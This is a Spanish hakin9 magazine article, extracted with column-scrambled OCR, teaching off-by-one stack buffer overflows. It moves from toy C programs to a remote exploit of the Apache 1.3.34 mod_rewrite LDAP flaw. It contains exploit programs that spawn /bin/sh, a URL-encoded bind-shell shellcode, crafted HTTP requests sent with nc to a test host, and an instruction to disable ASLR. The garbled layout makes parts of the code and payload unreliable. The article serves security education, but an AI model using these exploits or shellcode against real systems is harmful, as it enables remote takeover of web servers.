dos en un entorno real, y tomaremos el control Otra tcinica de explotacin en la pila y cmo
sobre el servidor web Apache. evitarla
Vemos en primer lugar un ejemplo de este Cmo desarrollar un exploit a prtir de la vulne-
tipo de desbordamiento (Listado 1.). rabilidad
En este caso estamos reservando un buffer Desbordamentos de pila
con 256 bytes y escribimos 257, por tanto, el Lo que deberas saber...
ltimo byte se ha salido del espacio reservado
para el buffer. Desbordamentos de pila
Pero qu sobreescribe ese ltimo byte?, pa- Ensambldor para IA32
ra saberlo es necesario entender perfectamente

22 www.hakin9.org
tcnica off-by-one

direccin de memoria donde hemos menos significativo del registro EBP RedHat, y tambin se prob satis-
dispuesto nuestro cdigo a ejecutar, podemos tomar el control sobre el factoriamente con la versin 2.95.4
el comunmente llamado shellcode. programa. y 4.0.4 del paquete del GCC para
Para poder sobreescribir el EIP, Debian 3.1.
suponiendo que ese buffer es la Explicando la teora Ahora que ya podemos compilar
primera variable local de ese mar- En primer lugar, conviene tener cla- correctamente, vemos un ejemplo
co de pila, como mnimo debemos ro como actuaba y acta el compi- ms completo que el presentado en
sobreescribir, a continuacin del bu- lador de GNU, gcc, ante la reserva la introduccin y estudiemos como
ffer desbordado, un posible relleno de memoria, ya que dependiendo funciona para poder explotarlo (Lis-
introducido por el compilador, los 4 de la versin usada acta de ma- tado 2.).
bytes del registro EBP apilado y los nera diferente. Antes de la versin En este ejemplo, el buffer tiene
4 bytes del registro EIP apilado, por de gcc 2.96-110 y a partir de la 4.0 un tamao reservado en pila de 256
tanto, en el mejor de los casos tene- el compilador solo aade relleno bytes, como el buffer empieza en la
mos que poder sobreescribir 8 bytes adicional al buffer si el tamao posicin 0 solo podemos escribir
para hacernos con el control del reservado no es mltiplo de 16. hasta la posicin 255, la posicin
programa. En caso que esa variable En las versiones 3.x, en concreto 256 del buffer est fuera del mismo.
no sea la primera del marco de pila, se ha probado con varias versio- Como es la primera variable que
deberimos tambin sobreescribir nes 3.3 y 3.4, el compilador aade se apila y hemos compilado debi-
tantos bytes como variables haya adems un relleno de 8 bytes entre damente sabemos que el byte que
en medio. Una vez salvadas estas la primera variable del marco de sobreescribimos pertenece al byte
dificultades, el programa se rediri- pila y el puntero a marco (registro menos significativo del registro EBP
gir directamente a la direccin que EBP) apilado. Por tanto, estas ver- apilado al entrar a la rutina func. La
hemos sobreescrito. siones no son vlidas para probar pila dentro de la funcin func del
Para poder explotar un programa la tcnica. Listado 2. tendr el aspecto descrito
vulnerable por desbordamiento de En este artculo se us la versin en la Figura 1. Para poder analizar
buffer por un byte, el registro EBP 2.91.66 del paquete del GCC para mejor el programa y estudiarlo paso
apilado debe estar exactamente
a continuacin del buffer a desbor-
dar. Entonces, el byte desbordado
es el byte menos significativo
del registro EBP apilado. Debido
a esta caracterstica solo es posible
aplicar esta tcnica a mquinas de
arquitectura little-endian (Ix86),
ya que en arquitectura big-endian
(Macintosh, Sparc, etc.) el byte que
sobreescribimos es el ms signi-
ficativo, por lo que nos alejamos
bastante del espacio de memoria
que podemos sobreescribir. Ve- Figura 1. Estado de la pila con GCC < 2.96-110 o > 4.0 del programa del
mos como sobreescribiendo el byte Listado 1.

Listado 1. Cdigo vulnerable.

char buffer[256];
int i;
for(i=0;i<=256;i++)
buffer[i]= i;

Listado 2. Funcin vulnerable.

void func(char *s) {


char buffer[256];
int i;
for(i= 0; i<= 256; i++)
buffer[i]= s[i];
}
Figura 2. Estado de la pila con GCC 3.x del programa del Listado 1.

www.hakin9.org 23
Ataque

a paso usaremos una versin exten- para la variable y 4 para la variable Recordemos que el EBP que
dida del ejemplo del Listado 2. tam (Ver Figura 5.). hemos sobreescrito sigue en el
Seguidamente lo compilamos: La funcin func sigue y el bucle registro de la CPU EBP, ahora en
for acaba sobreescribiendo el ltimo la instruccin leave que reside
$ gcc -o prog prog.c byte del EBP apilado, entonces en la en 0x080484e6, el registro ESP
direccin 0x080484af (en la instruc- pasar a apuntar a la misma di-
y con la herramienta objdump lo des- cin leave), el ESP apunta al EBP reccin que el actual registro EBP
ensamblamos (Ver Listado 4.): (Ver Figura 6.), el EBP sobreescrito (Ver Figura 9.). Esto significa que si
es desapilado y movido al registro sobreescribimos inteligentemente el
$ objdump -d prog de la CPU EBP, entonces ahora el ltimo byte del EBP apilado cuando
registro EBP apuntar a un lugar el programa retorne de la funcin
Estudiemos paso a paso que ocurre de memoria que podemos controlar, main podremos controlar donde
cuando ejecutamos: ya que hemos sobreescrito el ltimo apuntar el registro ESP y por tan-
byte de este registro, nos interesar to, de donde se desapilar el EIP
$ ./prog `perl -e "print 'A' x 257"` que apunte a una zona de memoria para retomar el flujo del programa,
en la que podamos escribir: la varia- cuando se ejecute la instruccin ret
Por simplicidad empezaremos a es- ble buffer (Ver Figura 7.). antes de salir de main.
tudiar el cdigo ensamblador de En la direccin 0x080484b0 Volvamos a la direccin
la rutina main justo antes de saltar (instruccin ret), el registro ESP 0x080484e6 (instruccin leave),
a la funcin func, en la direccin apunta al EIP apilado que es como ya hemos comentado consta
0x080484dc, se apila el argumento movido al registro de la CPU EIP de dos partes: en la primera se
de la funcin func, en la siguiente saltando as el flujo del programa copiar el registro EBP al registro
instruccin se salta a la direccin a la direccin 0x080484e2, punto ESP, por consiguiente, tenemos el
de la funcin func: se apila el actual donde se qued el programa antes control sobre dnde apuntaran el
EIP y se sustituye por 0x08048440 de llamar a la funcin func, esta registro ESP y EBP en ese punto.
(Ver Figura 3.). Ahora ya estamos instruccin elimina de la pila el es- En la segunda parte, se desapila
dentro de func, apilamos el EBP, pacio reservado para el argumento la doble palabra donde apunte el
en la direccin 0x08048441 el EBP de func (Ver Figura 8.) despus le ESP y se mueve al registro de la
apunta al ESP (Ver Figura 4.), en la sigue la instruccin NOP. Ahora, CPU EBP, entonces el ESP apunta
siguiente instruccin se reserva en la instruccin leave viene la a la siguiente doble palabra de la
espacio para las variables locales: parte ms importante y la que nos pila (la instruccin popl suma 4 al
0x108 es 264 en decimal, esto es permitir obtener el control sobre el contenido del registro ESP) (Ver
256 bytes para la variable buffer, 4 programa. Figura 10.). A continuacin, se eje-

Listado 3. Cdigo del fichero Listado 4. Parte de la salida de objdump


prog.c.
prog: file format elf32-i386
#include <stdio.h> Disassembly of section .init:
#include <string.h> (...)
#define LEN 256 08048440 <func>:
void func(char *a) { 8048440: 55 push %ebp
char buffer[LEN]; 8048441: 89 e5 mov %esp,%ebp
int i; 8048443: 81 ec 08 01 00 00 sub $0x108,%esp
int tam; (...)
tam= strlen(a); 80484a8: 90 nop
for (i=0; i<= LEN && 80484a9: 8b 9d f4 fe ff ff mov 0xfffffef4(%ebp),%ebx
i< tam; i++) 80484af: c9 leave
buffer[i]= a[i]; 80484b0: c3 ret
__asm__("nop"); 80484b1: 8d 76 00 lea 0x0(%esi),%esi
} 080484b4 <main>:
int main(int argc, 80484b4: 55 push %ebp
char *argv[]) { 80484b5: 89 e5 mov %esp,%ebp
if ( argc < 2 ) { (...)
printf("Dame un 80484dc: 52 push %edx
argumento.\n"); 80484dd: e8 5e ff ff ff call 8048440 <func>
exit(-1); 80484e2: 83 c4 04 add $0x4,%esp
} 80484e5: 90 nop
func(argv[1]); 80484e6: c9 leave
__asm__("nop"); 80484e7: c3 ret
} ......

24 www.hakin9.org
Ataque

cuta la instruccin ret residente en en 0x080484e7, el ESP apunte $ gdb prog core
0x080484e7, es decir, la doble pa- a la direccin donde hemos puesto Core was generated by `prog AAAA
labra donde apunte el registro ESP el shellcode y poder ejecutar as c- AAAAAAAAAAAAAAAAAAAAAAA
es desapilada y movida al registro digo arbitrario (por ejemplo, ejecutar AAAAAAAAAAAAAAAAAAAAAAA
EIP de la CPU, siguiendo el flujo una shell). AAAAAAAAAAAAAAAAAAAAAAAA'.
del programa en esta direccin, que Primero usaremos un exploit de Program terminated with signal 11,
nosotros podemos controlar. prueba para comprobar que el pro- Segmentation fault.
A la hora de explotar el progra- grama es vulnerable y conseguir las Reading symbols from /lib/i686/libc.
ma hemos de tener en cuenta que direcciones de las variables locales so.6...done.
al poder solo sobreescribir un byte, (Ver el cuadro OJO). Loaded symbols for /lib/i686/libc.so.6
el menos significativo del registro, Ahora lo compilamos y ejecuta- Reading symbols from /lib/ld-linux.
podemos apuntar donde queramos mos: so.2...done.
dentro de un margen de 256 bytes Loaded symbols for /lib/ld-linux.so.2
o de 64 doble palabras dentro de $ gcc exp1.c -o exp1 #0 0x41414141 in ?? ()
la regin de la pila, poco espacio $ ./exp1 (gdb)
pero suficiente para explotar el Segmentation fault (core dumped)
programa. El programa ha provocado un fallo
Como se puede apreciar el programa de segmentacin por intentar acce-
Explotando el programa ha provocado un fallo de segmenta- der a la direccin 0x41414141, por
Resumiendo, queremos que al cin, para saber la razn usaremos tanto, es vulnerable y posiblemente
llegar a la instruccin ret residente el depurador de GNU, gdb: explotable, vemoslo.
Ahora, con la ayuda del gdb,
meteremos breakpoints en la
funcin func y podremos ver que
aspecto tiene la pila y donde meter
nuestro shellcode. Nos sern muy
tiles las instrucciones NOP del c-
digo del Listado 3. para poner all los
breakpoints.
Despus de establecer el
breakpoint en la instruccin NOP
de la funcin func, hemos segui-
do con la ejecucin del programa
y al pararse por llegar al breakpoint
hemos realizado un volcado de pila.
Ahora sabemos que el buffer empie-
za en la direccin 0xbffff95c y que
el EBP apilado est en la direccin
Figura 3. Estado de pila en la instruccin: call 0xbffffa5c (ver listado 6).

Ejecucin de cdigo
arbitrario (shellcode)
Por ejemplo, podemos usar el buffer
de la Figura 11. para pasarselo co-
mo argumento al programa y poder
explotarlo.
Sabemos que el buffer empieza
en la direccin 0xbffff95c, y que
pondremos 84 bytes con As antes
del shellcode, esto nos da la direc-
cin: 0xbffff95c + 84 = 0xbffff9b0,
esa ser la direccin donde estar
el shellcode.
Sabemos que el EBP apilado
est en la direccin 0xbffff95c y po-
demos sobreescribirlo a 0xbffffaXX
Figura 4. Tras la ejecucin de las 2 primeras instrucciones de func. donde XX debe de ser la doble

26 www.hakin9.org
tcnica off-by-one

palabra anterior a la direccin a la ESP, que valdr 0xbffffa58 (direc- delicada y precisa, no hay margen
que nos interese redirigir el flujo cin que contiene el puntero al para el error. En la segunda fase,
del programa, donde metamos el shellcode), entonces la instruccin una vez tenemos cargado el EIP
shellcode, esto es as porque la ret desapilar la doble palabra malicioso en el registro EIP de la
instruccin popl suma 4 al conteni- donde apunte el ESP y la mover CPU y nos disponemos a tomar el
do del registro ESP antes de pasar al registro de la CPU EIP, es decir, control sobre el programa si tene-
a la instrucccin ret y desapilar el copia 0xbffff9b0 al registro EIP y el mos margen para el error, ya que el
EIP. En este caso, la XX ser 54 programa salta a ejecutar el cdigo programa empezar a ejecutar c-
ya que la direccin del puntero mquina de esta direccin, el she- digo mquina a partir de la direccin
al shellcode est en la direccin llcode. del EIP da igual que ejecute el she-
0xbffffa58, una palabra ms. Por Efectivamente, hemos dado en llcode que instrucciones NOP, es
tanto, la pila tendr el aspecto que el blanco y hemos ejecutado una decir, usemos la tcnica de NOP's
vemos en el Listado 7. shell. para tener un margen de error ms
Antes de finalizar la funcin En esta tcnica se diferencian grande, en este caso nuestro shell-
main, en la instrucccin leave, el dos fases: la primera consta de so- code podra tener la estructura de la
EBP es copiado al registro ESP, en- breescribir el ltimo byte del registro Figura 12.
tonces el EBP y el ESP apuntaran EBP apilado para que apunte a una De esta forma la direccin del
a 0xbffffa54, la instrucccin popl direccin donde ms tarde se des- shellcode no tiene que ser exacta
%ebp, desapilar 0x42424242 y la apilar el EIP (en esta direccin es como antes, sino que puede ser
mover al registro EBP, entonces donde hemos dispuesto el puntero cualquier direccin que este dentro
suma 4 al contenido del registro al shellcode), esta fase es la ms de los 212 bytes de instrucciones
NOP. Se deja como ejercicio para
el lector la explotacin del programa
usando esta tcnica.

Usando la tcnica en un
entorno real
Buscando en Bugtraq las ltimas
vulnerabilidades encontradas por
desbordamiento por un byte se
escogi la ms reciente fecha de
escribir este artculo, un desborda-
miento por un byte en el mdulo
del servidor web Apache mod_re-
write. El descubrimiento de la
vulnerabilidad fue publicado por
Mark Dowd (McAfee Avert La-
bs) el 28 de julio de 2006 (http:
Figura 5. Reserva de memoria para las vriables locales //www.securityfocus.com/archive/
1/441487).
La informacin detallada sobre
la vulnerabilidad, la prueba de con-
cepto y el exploit fue publicado por el
autor de este artculo, Jacobo Ava-
riento Gimeno, el 20 de agosto de
2006 (http://www.securityfocus.com/
archive/1/443870).
El mdulo mod_rewrite, distribu-
do con Apache, permite mediante
reglas y el uso expresiones regula-
res remapear una URL a otra URL
o URI.
El fallo era causado por un error
de programacin en la condicin
de parada de un bucle y el uso del
operador de preincremento cuando
Figura 6. Instruccin leave (primera parte) trataba URI's del protocolo LDAP

www.hakin9.org 27
Ataque

cinco signos '?' en la URI y centr-


monos en este trozo de cdigo:

while (*cp && c < 5) {


if (*cp == '?') {
token[++c] = cp + 1;
*cp = '\0';
}
++cp;
}

Al entrar la primera vez al bucle la


variable c vale 0. Tras encontrar el
primer '?' y entrar al if, tenemos la
instrucccin:

Figura 7. Instruccin leave (segunda parte) token[++c] = cp + 1;

en la funcin escape_absolute_uri interrogacin. En la lnea 2733 se Esto en primer lugar incrementa


del fichero mod_rewrite.c. comprueba si la URI pasada como en uno la variable c y luego asig-
Para desencadenar este fallo parmetro es del protocolo LDAP, na token[c] a donde apunta cp +
no hace falta una regla especfica en caso de serlo, la lnea 2734 1, que ser el elemento posterior
de LDAP, sino que basta con que el reserva un puntero a 5 char's, la al signo '?' encontrado. Por tanto,
usuario tenga control sobre la parte siguiente lnea declara y inicializa c valdr 1 y token[1] valdr cp +1.
inicial de la URL remapeada, por una variable que ser usada como Seguimos recorriendo la cadena
ejemplo: contador del nmero de signos '?' y tras el siguiente '?' encontrado c
encontrados. La lnea 2737 asigna valdr 2 y token[2] ser asignado
RewriteRule foo/(.*) $1 token[0]. a donde apunte cp + 1. En la lnea
De la lnea 2738 a la 2744 se del while, cp no apunta a NULL y 2 <
Estudiemos la porcin de cdigo recorre la URI pasada como par- 5, por lo que el procedimiento sigue,
vulnerable, para as entender que metro y se guarda la direccin de en el prximo '?' c vale 3, en la lnea
ocurre y podernos aprovechar del los campos separados por el signo del while cp es distinto de NULL y 3 <
error. '?' en las distintas posiciones de la 5, seguimos, en el cuarto '?' c valdr
Como se puede leer en el co- variable token. 4, seguimos recorriendo la cadena,
mentario de las lneas 2727 a 2732, El programa espera encontrar cp es distinto de NULL y 4 < 5, en el
una URL del protocolo LDAP est cuatro signos '?' si encuentra ms quinto '?' c vale 5 y token[5] es es-
formada por ldap://, un nombre op- simplemente los escapa (ver lnea crito con la direccin de cp + 1, pero
cional de host, y una serie de cam- 2747 en adelante). Hagamos una solo hemos reservado espacio para
pos separados por cuatro signos de pequea traza cuando le pasamos 5 punteros y estamos escribiendo el
sexto, por lo que estamos desbor-
dando el buffer por un byte. Ahora
c vale 5, como 5 < 5 es falso, ya no
entramos ms en el bucle while, y el
programa sigue en la lnea 2746.
Ahora que ya hemos entendido
el problema, pasemos a probar que
realmente funciona.
Las pruebas se realizaron sobre
Apache 1.3.34 del paquete apache
para Debian sarge. Debido a la na-
turaleza de los desbordamientos por
un byte, no todas las versiones de
Apache son realmente explotables.
Para simular el ataque, en pri-
mer lugar, activaremos el mdulo
mod_rewrite y aadiremos una regla
Figura 8. Estado tras la ejecucin de: add $0x4,%esp vulnerable:

28 www.hakin9.org
tcnica off-by-one

Adems nos ser de gran ayuda


Listado 5. Cdigo del fichero
OJO que el Apache genere y haga un co-
redump en el caso de recibir un fallo exp1.c
Los kernels de Linux a partir de la
versin 2.6.11 llevan de forma nativa de segmentacin de algn hijo. #include <stdio.h>
aleatorizacin de direcciones virtuales Ahora solo nos falta comprobar #include <string.h>
(VA space randomization). Esto alea- si realmente nuestra versin de #define LEN 256
toriza tras cada ejecucin la direccin apache es explotable o no, para int main(void) {
de las variables en la pila y la carga de unsigned int i;
ello ejecutamos sobre la mquina
libreras dinmicas. Por lo que todos unsigned char aux[1024];
que ejecuta apache, en este caso memset(aux, 0, 1024);
los ataques basados en la pila: des-
192.168.2.10: for (i=0; i <= LEN; i++)
bordamiento de buffer, return-into-libc,
aux[i]=
cadenas de formato o los desborda-
$ echo -ne "GET /kung/ldap:// 'A';
mientos de pila por un byte, se hacen execl("./prog", "prog",
impracticables. Tenlo en cuenta para localhost/AAAAAAAAAAAAA
aux, 0);
probar la tcnica y deshabilita esta AAAAAAAA%3FAAAAAAAAA perror("Upps");
proteccin, ejecutando en una shell AAAA%3FAAAAAAAAAAAAA return 1;
como root: AA%3FAAAAAAAAAA%3FAA }
AAAAAAA%3FAAAAAAAAAA
$ echo 0 > /proc/sys/kernel/
AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAA
randomize_va_space
AAAAAAAAAAAAAAAAAAAA AAAAA HTTP/1.1\rnHost:
192.168.2.10\rn\rn" | nc
192.168.2.10 80

Si el comando anterior no devuelve


nada, entonces estamos ante una
versin de Apache explotable, en
caso contrario el servidor web nos
devolver una pgina web diciendo
que el recurso solicitado ha sido
encontrado. Como se aprecia en el
comando hemos tenido que codifi-
car los signos '?' en formato HTML
(%3F) para que Apache no los des-
carte antes de pasarselos al mdulo
mod_rewrite.
Pero, qu ha pasado exacta-
mente?, para ello necesitaremos
acceso a la mquina que ejecuta el
Figura 9. Primera parte de la instruccin leave de la funcin main servidor Apache y una vez ms con
la ayuda del gdb y el fichero core sa-
bremos exactamente que es lo que
ha pasado:

# gdb /usr/sbin/apache core


(...)
Loaded symbols for /usr/lib/
libmysqlclient.so.14
Reading symbols from /lib/tls/
libnss_dns.so.2...
(no debugging symbols found)
...done.
Loaded symbols for /lib/tls/libnss
_dns.so.2
#0 0x41414141 in ?? ()
(gdb) where
#0 0x41414141 in ?? ()
#1 0xb7c9c6ab in ?? () from /
Figura 10. Segunda parte de leave usr/lib/apache/1.3/mod_rewrite.so

www.hakin9.org 29
Ataque

#2 0x08348ef4 in ?? () Una vez solucionado este pro- nocimientos de ensamblador. Bsi-


#3 0x08349504 in ?? () blema, hay otro bastante importan- camente lo que haremos es sustituir
#4 0x0834ba3c in ?? () te, el shellcode incluye tres signos la cadena '/bin/sh' por '0bin0sh'.
(...) '/' (0x2f) en su cdigo, entonces As evitamos el problema, como
cuando Apache atienda la peticin el 0 (0x30) sigue en la tabla ASCII
Como se aprecia, estando dentro de al encontrar un '/' lo procesar a '/', lo que tendr que hacer el
la librera dinmica mod_rewrite se y seguramente lo escapar a %2f, nuevo shellcode es restar uno a la
ha producido un fallo de segmenta- por lo que al ejecutar el shellcode no direccin donde esten los 0 para
cin al intentar acceder a la direccin ejecutaremos /bin/sh. obtener '/bin/sh' antes de ejecutar
0x41414141. Esta vez hemos tenido Solucionar este problema es ms la shell. Esta operacin se puede
bastante suerte y no ha hecho falta complejo y requiere unos buenos co- hacer directamente o usando un
hacer un anlisis tan exhaustivo
como en la anterior seccin para
encontrar la forma de redirigir el flujo
del programa.
Ahora tenemos que encontrar
exactamente cuales son los cuatro
bytes de nuestra peticin HTTP
que sobreescriben el EIP. Tras unos
cuntos intentos, damos con la so-
lucin:
Figura 11. Estructura del shellcode
$ echo -ne "GET /kung/ldap://localhost/
AAAAAAAAAAAAAAAAAAAAA%3FAAAAAAAAAAAAA%3 Listado 6. Sesin con el depurador y volcado de pila
FAAAAAAAAAAAA%3FAAA\x43\x42\x41\x40A
$ gdb -q --exec=exp1 --symbols=prog
%3FAAAAAAAA%3FAAAAAAAAAAAAAA HTTP/ (gdb) r
1.1\rnHost: 192.168.2.10\rn\rn" | nc Starting program: /home/jack/current/exp1
192.168.2.10 80 Program received signal SIGTRAP, Trace/breakpoint trap.
0x40000b50 in _start () from /lib/ld-linux.so.2
(gdb) disas func
Lo comprobamos con el gdb:
(...)
0x80484a0 <func+96>: incl 0xfffffefc(%ebp)
# gdb /usr/sbin/apache core 0x80484a6 <func+102>: jmp 0x8048466 <func+38>
(...) 0x80484a8 <func+104>: nop
Reading symbols from /lib/tls/libnss_ 0x80484a9 <func+105>: mov 0xfffffef4(%ebp),%ebx
0x80484af <func+111>: leave
dns.so.2...
0x80484b0 <func+112>: ret
(no debugging symbols found)...done. End of assembler dump.
Loaded symbols for /lib/tls/libnss_ (gdb) b *0x80484a8
dns.so.2 Breakpoint 1 at 0x80484a8: file prog.c, line 27.
#0 0x40414243 in ?? () (gdb) c
Continuing.
Breakpoint 1, func (a=0xbffffbc8 'A' <repeats 200 times>...) at prog.c:27
Ahora ya sabemos como redirigir el 27 __asm__("nop");
flujo del programa, solo falta aadir (gdb) x/68 $esp
el shellcode y encontrar una direc- 0xbffff950: 0x4213030c 0x00000101 0x00000101 0x41414141
cin a la que saltar. 0xbffff960: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff970: 0x41414141 0x41414141 0x41414141 0x41414141
Ya que se trata de explotacin
0xbffff980: 0x41414141 0x41414141 0x41414141 0x41414141
remota no nos sirve el shellcode an- 0xbffff990: 0x41414141 0x41414141 0x41414141 0x41414141
terior, hemos de usar uno que abra 0xbffff9a0: 0x41414141 0x41414141 0x41414141 0x41414141
un puerto en la mquina atacada 0xbffff9b0: 0x41414141 0x41414141 0x41414141 0x41414141
y ejecute una shell escuchando en 0xbffff9c0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff9d0: 0x41414141 0x41414141 0x41414141 0x41414141
ese puerto, usaremos el shellcode
0xbffff9e0: 0x41414141 0x41414141 0x41414141 0x41414141
de Taeho Oh6. Pero este shellcode 0xbffff9f0: 0x41414141 0x41414141 0x41414141 0x41414141
tiene un gran problema en nuestro 0xbffffa00: 0x41414141 0x41414141 0x41414141 0x41414141
caso, el shellcode viene en binario 0xbffffa10: 0x41414141 0x41414141 0x41414141 0x41414141
y Apache rechazar la peticin. Por 0xbffffa20: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffa30: 0x41414141 0x41414141 0x41414141 0x41414141
tanto hemos de codificarlo en HTML,
0xbffffa40: 0x41414141 0x41414141 0x41414141 0x41414141
sustituyendo el '\x' que precede 0xbffffa50: 0x41414141 0x41414141 0x41414141 0xbffffa41
a cada byte por '%'.

30 www.hakin9.org
tcnica off-by-one

registro intermedio, como el usado %eax para mover el 0x30, restarle shellcode con ese y otros cambios
en el Listado 11., donde la cadena uno y mover el resultado a la posi- queda de la siguiente manera, ver
es '#bin#sh' y se usa el registro cin donde estan los '#'. El nuevo Listado 11.
Ahora lo ensamblamos y lo enla-
zamos para obtener el ejecutable:

$ as -o socketasm.o socketasm.s
$ ld -o socketasm socketasm.o

Con la ayuda del gdb o del objdump


sacamos los Opcodes, y en lugar de
representarlos en hexadecimal los
representaremos en codificacin
Figura 12. Estructura del shellcode usando la tcnica de NOP's
HTML:

Listado 7. Aspecto de la pila durante la explotacin. %89%e6%31%c0%31%db%89%


f1%b0%02%89%06%b0%01%
0xbffffa50: 0x42424242 0x42424242 0xbffff9b0 0xbffffa54
89%46%04%b0%06%89%46%
^ ^ ^
Direccin Direccin Registro 08%b0%66%b3%01%cd%80%
donde apuntar donde reside EBP 89%06%b0%02%66%89%46%
apilado 0c%b0%77%66%89%46%0e%
el EBP sobreescrito. el shellcode.
8d%46%0c%89%46%04%31%
sobreescrito.
c0%89%46%10%b0%10%89%
46%08%b0%66%b3%02%cd%
80%b0%01%89%46%04%b0%
Listado 8. Cdigo del fichero exp2.c.
66%b3%04%cd%80%31%c0%
#include <stdio.h> 89%46%04%89%46%08%b0%
#include <string.h> 66%b3%05%cd%80%88%c3%
char shellcode[] = /* 40-byte shellcode: sh spawner by jack */ b0%3f%31%c9%cd%80%b0%3
"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89"
f%b1%01%cd%80%b0%3f%b
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80"
"\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; 1%02%cd%80%b8%23%62%
int main() { 69%6e%89%06%b8%23%73
unsigned int i,j,h, sclen; %68%23%89%46%04%31%
unsigned char aux[1024]; c0%88%46%07%b0%30%2c%
memset(aux, 0, 1024);
01%88%46%04%88%06%89
sclen= strlen(shellcode);
for (i=0; i < 84; i++) aux[i]= 'A'; %76%08%31%c0%89%46%0
for (j=0; j < sclen; j++,i++) aux[i]= shellcode[j]; c%b0%0b%89%f3%8d%4e%
for (h=i, i=0; i < 128; i++,h++) aux[h]= 'B'; 08%8d%56%0c%cd%80%31
j=h; %c0%b0%01%31%db%cd%80
aux[j++]= 0xb0;
aux[j++]= 0xf9;
aux[j++]= 0xff; En este caso usaremos la tcnica
aux[j++]= 0xbf; de NOP's para tener ms margen
aux[j++]= 0x54; de error.
execl("./prog", "prog", aux, 0); A excepcin de la direccin de
}
memoria a la que debemos sal-
Solo falta compilar el exploit y probar que realmente funciona:
$ gcc -o exp2 exp2.c tar, de momento la dejaremos en
$ gdb exp2 0x01020304, ya podemos construir
(gdb) r nuestro exploit:
Starting program: /home/jack/current/exp2
Program received signal SIGTRAP, Trace/breakpoint trap.
$ echo -ne "GET /kung/ldap:
0x40000b50 in _start () from /lib/ld-linux.so.2
(gdb) c //localhost/`perl -e 'print "%
Continuing. 90"x128'`%89%e6%31%c0%
Program received signal SIGTRAP, Trace/breakpoint trap. 31%db%89%f1%b0%02%89
0x40000b50 in _start () from /lib/ld-linux.so.2 %06%b0%01%89%46%04%
(gdb) c
b0%06%89%46%08%b0%66
Continuing.
sh-2.05a$ %b3%01%cd%80%89%06%
b0%02%66%89%46%0c%b0

www.hakin9.org 31
Ataque

%77%66%89%46%0e%8d% El fichero core generado por en que lugar del fichero core est
46%0c%89%46%04%31%c0 Apache contiene una imagen de dicha cadena y la direccin virtual en
%89%46%10%b0%10%89% memoria en el momento de la explo- la que fue cargada. Para establecer
46%08%b0%66%b3%02%cd tacin por lo que la cadena debe es- dicha relacin y saber en que direc-
%80%b0%01%89%46%04% tar por alguna parte del fichero core, cin virtual reside, en primer lugar
b0%66%b3%04%cd%80%31 pero no hay ninguna relacin entre se volc la informacin relativa a las
%c0%89%46%04%89%46%
08%b0%66%b3%05%cd%80
Listado 9a. Parte del fichero mod_rewrite.c perteneciente a apache
%88%c3%b0%3f%31%c9%cd
1.3.34.
%80%b0%3f%b1%01%cd%
80%b0%3f%b1%02%cd%80 (...)
%b8%23%62%69%6e%89% 2695
06%b8%23%73%68%23%89 2696 /* escape absolute uri, which may or may not be path oriented.
2697 * So let's handle them differently.
%46%04%31%c0%88%46%
2698 */
07%b0%30%2c%01%88%46
2699 static char *escape_absolute_uri(ap_pool *p, char *uri, unsigned
%04%88%06%89%76%08% scheme)
31%c0%89%46%0c%b0%0b 2700 {
%89%f3%8d%4e%08%8d% 2701 char *cp;
2702
56%0c%cd%80%31%c0%b0
2703 /* be safe.
%01%31%db%cd%80%3FC
2704 * NULL should indicate elsewhere, that something's wrong
%3FC3FCCCCCCCCCCCCC 2705 */
CCCCCCCCCCCCCCCCCCC 2706 if (!scheme || strlen(uri) < scheme) {
CCCCCCCCCCCCCCCCCC 2707 return NULL;
2708 }
CCCC%04%03%02%01CCC
2709
CCCCCCCCCCCCCCCCCC
2710 cp = uri + scheme;
CCCCCC%3FC%3F HTTP/ 2711
1.1\rnHost: 192.168.2.10\r 2712 /* scheme with authority part? */
\nr\n" | nc 192.168.2.10 80 2713 if (cp[-1] == '/') {
2714 /* skip host part */
2715 while (*cp && *cp != '/') {
Solo nos falta saber en que direc- 2716 ++cp;
cin de memoria se copia la ca- 2717 }
dena pasada en la peticin HTTP 2718
para tener el exploit completo, para 2719 /* nothing after the hostpart. ready! */
2720 if (!*cp || !*++cp) {
averiguarlo, si el Apache hubiera si-
2721 return ap_pstrdup(p, uri);
do compilado con la opcin -g y no 2722 }
estuviera stripped, averiguar esta 2723
direccin sera tan fcil como poner 2724 /* remember the hostname stuff */
un breakpoint dentro de la funcin 2725 scheme = cp - uri;
2726
escape_absolute_uri y ver en que
2727 /* special thing for ldap.
direccin est la variable uri. Pero 2728 * The parts are separated by question marks. From RFC 2255:
por desgracia este ejecutable no 2729 * ldapurl = scheme "://" [hostport] ["/"
fue compilado con -g y adems es- 2730 * [dn ["?" [attributes] ["?" [scope]
t stripped, por lo que no tenemos 2731 * ["?" [filter] ["?" extensions]]]]]]
2732 */
absolutamente ninguna informacin
2733 if (!strncasecmp(uri, "ldap", 4)) {
sobre la tabla de smbolos, ni nin- 2734 char *token[5];
gn tipo de informacin en la que 2735 int c = 0;
apoyarnos. Deberemos pues inge- 2736
niarnoslas para descubrir en que 2737 token[0] = cp = ap_pstrdup(p, cp);
2738 while (*cp && c < 5) {
direccin reside la variable uri.
2739 if (*cp == '?') {
Ya que la variable uri, lo ms 2740 token[++c] = cp + 1;
normal es que tenga tamao varia- 2741 *cp = '\0';
ble dependiendo de la longitud de la 2742 }
peticin es obvio que el contenido de 2743 ++cp;
2744 }
dicha variable vaya al rea del heap
2745
y no de la pila, por tanto, ya tenemos 2746 return ap_pstrcat(p, ap_pstrndup(p, uri, scheme),
una pista inicial de donde empezar 2747 ap_escape_uri(p, token[0]),
a buscar.

32 www.hakin9.org
tcnica off-by-one

secciones ELF del ejecutable /usr/ 00d258a0 e0 15 e0 b7 40 17 e0


sbin/apache (ver Listado 12).. b7 00 00 00 00 00 00 00 00 | Listado 10. Fichero .htaccess
Sabiendo que el rea del heap .@.........|
RewriteEngine On
es la seccin .bss, sabemos que RewriteRule kung/(.*) $1
el heap empieza en la direccin Como vemos encuentra 6 ocurren-
0x0808bbc0, por tanto a partir de cias, la que nos interesa es la prime-
esa direccin estar la cadena ra ya que con el volcado con el gdb Listado 11a. Cdigo
